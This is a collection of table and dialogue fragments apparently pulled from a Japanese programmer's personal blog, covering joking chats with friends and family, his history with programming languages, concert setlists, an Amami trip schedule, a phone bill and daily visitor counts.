かがみ	それなら三種類じゃない？
Hさん	松竹梅ごとに色違いで二種類あるんです。
かがみ	そうですか。ところで松竹梅って言えば中国の奇書にそんなのがあったような...。
Hさん	そんなの知りませんよ。
かがみ	ほらもう脳が腐り始めている...。あっ間違えた！金瓶梅だ(笑)。

1回目	3,000円
2回目	400円
3回目 (今日)	1,000円


本体	箱

取扱説明書	注意書き (応募券つき)

数学	10%
仕事	100%
自宅サーバー更新	0%


実績	予測

私	そんなの簡単ですよ！頭の後ろにお面をつけて「こうゆうふうに」前屈みになれば(←やってみる)
M氏	えーどうして分かるの～(笑)
私	そりゃMさんが考えそうなことくらい分かりますよ(^^。さらにコートをこうゆう風に後ろ前に着れば完璧(←やってみる)。さらに眼鏡をこうゆう風に頭の後ろにもってけば究極の技！！金メダル間違いなしです(←やってみる)
M氏	もしかして私ってかがみさんとおんなじレヴェルなの？
私	あたりまえじゃあないですか！それより問題はこの体勢をとると、おなかの部分がお尻になるわけですよね。その場合我々みたいな二段もしくは三段腹では横割れになっていまいちなんです。なので腹筋を鍛えて縦割れにする必要があるのです。そうすればさらに芸術点がアップです(^^。

言語名称	コメント
日本語	小さいときからずっと苦手でずいぶん損をしたと思う。
英語	中学では文法だけは出来たが高校に入り例外が多くなり挫折。
フランス語	当時の数学専攻大学生はほとんどがフランス語を履修していた。大学一年のとき文法だけは完璧。以降英語と同じ道をたどる(笑)。
数学の言語	こんな感じとかさらにこんな感じ
BASIC	初めて知ったコンピューター言語。PC8001で使用。
TL/1	PC8001で動作した Pascal風ミニ構造化言語。以降BASICには戻らない。
PASCAL	今まで一番夢中になった言語。N. Wirth著「アルゴリズム＋データ構造＝プログラム」とともに私のプログラムの原点。この言語をきっかけにコンピューター関連プロの道に走る。人生を誤らせたかも知れない(笑)。遊んだ処理系は UCSD Pascal, Turbo Pascal, MS-Pascal 等。Delphi は仕事で使ったこともある。今でも Pascal の文法は間違えないと思う。
i8086アセンブラー	上記 UCSD Pascal 処理系のため i8087 数値演算ライブラリーを作成。以降プロになってからは使う機会なし。デヴァイスドライバーはたくさん書いているが、FreeBSD もしくは Linux 用なのでアセンブラーは必要ない。
C	32歳で安楽な公務員の道から無謀にもプログラマーの道へ転身。最初の半年くらい全然分からなかった。一時はだめかと思ったことも。いつの間にか一番得意な言語になっていたのが不思議(^^。現在仕事ではほとんどの場合この言語(処理系は gcc)を使用する。
C++	何回か使ったがいずれも読みにくいコードとなった。以降 C に戻る。
Java	何回か仕事で使ったことがあるが、余り好きになれない。ただし出来てしまうとどこでも動くのでなかなか便利(笑)。
Fortran	昔勤めていた会社で情報処理一種を取得すると一月 5,000円手当がつくのに目がくらんで、さらに当時は C が選択出来なかったのでアセンブラーとともに一夜漬けで勉強。ちゃんと合格したが試験の翌日には忘れていた(^^。20万円位得したと思う(笑)。
sh	一応言語ですよね(^^。
awk	ただ一つ自由に使えるスクリプト言語。
PHP	人様のを拝借してホームページに活用する言語(^^。
Scheme	一時夢中になったが結局まともな用途には使えず。
VHDL	回路のことは全然分からなかったが、論理だけでちゃんと動作するハードウエアー JPEG エンコーダーを作った。未だに回路は分からない。回路図も線の繋がりと IN/OUT しか分からない。図形を認識して論理化する能力に欠けているようだ。
LaTeX	業務用文書はすべてこれで記述。使えないと仕事にならない。
HTML	このページの内容程度しか知らない。

BEEBベースメントシアター	お題目

ケーキ(左のテーブル)	ケーキ(右のテーブル)

曲番号	曲名	備考
オープニング	まっくら森の歌	AQさんと合奏
1	森へおいで	森シリーズ
2	洗濯かご
3	elfin
4	王国	森の中に明りが...
5	わたしはとっても寝起きが悪い	山口ともさんと
6	公爵夫人の子守唄
7	ハートのジャックが有罪であるところの証拠の歌
8	ウミガメスープ
9	パラソル天動説
10	トライアングル
11	意味なしアリス
12	ボクハ・キミガ・スキ
13	SORAMIMI
終曲	カントリーガール
アンコール	僕は帰るきっと帰る
アンコール	ここにいるよ	二日目のみ

私	いくらなんでも大きすぎますよ～。
M さん	まあまあ他のと聴き比べて下さいよ。
私	あらら全然違いますね(もう欲しくてたまらない)。
M さん	いいでしょ(^^。
私	でも 9,800円というのはちょっと～。
M さん	ネットでの最安値が 8.200円というのを調べてあるので...。店員さーん。

期間	算出式	金額
一月	((365/18)x160)/12	270円
一年間	(365/18)x160	3250円

詳細を隠したところ	詳細も表示
こんな図に変換したり	それともこんな図

私	書くのが大変だから８つに刻んだけれどそれを大きくすればほとんど長方形になるでしょ
姫	でもいくら細かくしても本当の長方形にはならないじゃん
私	無限に細かくすれば本当の長方形になるんだ
姫	でも完全な長方形にはならないよ
私	無限だとなるよ
姫	そもそも無限ってなによ
私	どんな有限より大きいものを数と考えたもの
姫	例えばどんな数なの。口で言えるの。一億の一億倍より大きいの？

CPU	2GHz 程度
HDD	40G 程度
Memory	512M 程度
CD/DVD	出来れば DVD の書き込みが出来るの
OS	Windows XP Home Edition で良いかな

アキレスの位置	亀の位置
1	1 + 1/2
1 + 1/2	1 + 1/2 + 1/3
...	...
1 + 1/2 + 1/3+...+1/n	1 + 1/2 + 1/3 +...+ 1/n + 1/(n+1)
...	...

私	あれ欲しかったよね
奥さま	でも買ってもらえなかった
私	私も
奥さま	本当に象が踏んでも壊れなかったのかな
私	おそらく塩化ビニールかなんかを材質にしてたのでふにゃふにゃして壊れにくかったと思う
奥さま	本当に象に踏ませたのかな
私	コマーシャルで象に踏ませるところ出てなかったっけ
奥さま	よく覚えてない。
私	そもそも象の足の裏ってそんなに硬いの？そうでないとすると、踏んだ時象の足の底がへこんで、筆入れにはあんまり圧力がかからないかも...
奥さま	じゃあ今度動物園に連れてってあげるから自分で踏まれてみたら(^^
私	あのねえ、筆入れの面積は象の足の裏より小さいから、もし象の足の裏が軟らかければ圧力は減少するけど、私が象に踏まれると足全体の重量がかかるからつぶれてしまうよ
奥さま	そもそもこの前の写真を見ると象の足の裏硬そうだし
私	でも塩化ビニール製だとすると、筆入れは無事でも中の鉛筆とかは壊滅したのでは(^^

番号	曲名	備考
オープニング	マイケルというパン屋さん
オープニング	闇に走れば
オープニング	遺跡散歩
1-1	時の少女	時
1-2	時の回廊
2-1	空の駅	旅・「第七官界彷徨」より
2-2	休暇旅行
2-3	ただ風のために
3-1	月が誘う	夜
3-2	三日月の女神
3-3	夜の一品
4-1	リカちゃんのポケット	夜歩く
4-2	ガラスの巨人
4-3	窓の外を誰かが歩いている
エンディング	ダイエット	村岡さんと演奏したかった曲
エンディング	電波塔の少年
アンコール	銀の記憶
アンコール	小さな魚	本日のみ

ウーロン茶	数学の本
ちっとも分らない	これならなんとなく

9時10分	カヌー発着所到着
9時30分	カヌーにてマングローブ林探検！！
12時20分	マングローブパーク着
14時00分	ヒルギ観察台到着
17時00分	ホテル到着

10時20分	「奄美自然観察の森」到着
14時20分	奄美空港出発
15時10分	鹿児島空港到着
15時30分	鹿児島空港出発
17時10分	羽田空港到着

横須賀の海	横須賀駅前の公園
世界最大のホタル	横須賀の街並み

集合写真その１	集合写真その２
演奏	花束をもらう

料金の内訳(消費税含まず)	(円)	ご利用期間等
つなぎ放題基本使用料	5,800	６月１６日～　７月１５日
年間契約割引額	-870	ご契約期間１ヵ月
Ａ＆Ｂ割割引額	-870
通話料	290
小　計	4,350

禾生駅(富士急行線)	線路
駅表示	この電車で帰った

2004/07/06(火)	186
2004/07/07(水)	155
2004/07/08(木)	160
2004/07/09(金)	154
2004/07/10(土)	123
2004/07/11(日)	106
2004/07/12(月)	165
合計/平均	1049/149.9